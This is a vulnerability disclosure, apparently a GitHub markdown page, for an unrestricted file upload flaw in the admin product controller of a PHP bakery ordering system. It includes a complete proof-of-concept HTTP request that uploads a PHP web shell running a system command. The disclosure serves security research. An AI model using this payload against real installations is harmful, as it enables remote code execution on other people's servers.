Skip to content

Latest commit

 

History

History
92 lines (75 loc) · 3.57 KB

07_06_2024_a.md

File metadata and controls

92 lines (75 loc) · 3.57 KB

Itsourcecode Bakery Online Ordering System Using PHP and MySQL Database 1.0 controller.php Unrestricted Upload

NAME OF AFFECTED PRODUCT(S)

  • Bakery Online Ordering System Using PHP and MySQL Database

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • N3xu5Cr4ck37

Vulnerable File

  • controller.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • File upload

Root Cause

  • In line 36 of the controller.php file, the input obtained through $-FILES is directly used to determine the storage location of the file without verification or cleaning. The specific code snippet is as follows:
  • 1

Impact

  • Attackers can exploit this vulnerability for unrestricted uploads, which may lead to file overwrite, file injection, directory traversal attacks, and denial of service attacks. Remote attacks may also result in RCE

DESCRIPTION

  • N3xu5Cr4ck37 discovered that the file upload operation was triggered on line 36 of the 'controller.php' file and the uploaded file was received using the '$_FILES' variable. Due to the lack of appropriate input validation and cleaning, remote attackers can pass malicious payloads through this file upload feature, resulting in unrestricted file uploads, which may further lead to remote code execution (RCE).

Vulnerability details and POC

Payload

POST /admin/modules/product/controller.php?action=add HTTP/1.1
Host: localhost:8101
Content-Length: 2689
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8101
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOxlLdiA4nnlBsIAr
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8101/admin/modules/product/index.php?view=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryOxlLdiA4nnlBsIAr
Content-Disposition: form-data; name="PRODUCTID"

10001
------WebKitFormBoundaryOxlLdiA4nnlBsIAr
Content-Disposition: form-data; name="PRODUCTNAME"

11
------WebKitFormBoundaryOxlLdiA4nnlBsIAr
Content-Disposition: form-data; name="CATEGORY"

9
------WebKitFormBoundaryOxlLdiA4nnlBsIAr
Content-Disposition: form-data; name="QTY"

2
------WebKitFormBoundaryOxlLdiA4nnlBsIAr
Content-Disposition: form-data; name="PRICE"

1
------WebKitFormBoundaryOxlLdiA4nnlBsIAr
Content-Disposition: form-data; name="image"; filename="rce.php"
Content-Type: image/jpeg


Node: Sorry, due to some encoding reasons, I am unable to use Markdown to store image data with attack payloads here. I will take a screenshot to show



<?php system("ipconfig"); ?>
------WebKitFormBoundaryOxlLdiA4nnlBsIAr
Content-Disposition: form-data; name="save"


------WebKitFormBoundaryOxlLdiA4nnlBsIAr--


  • 2

I successfully executed the PHP script on the terminal

  • 3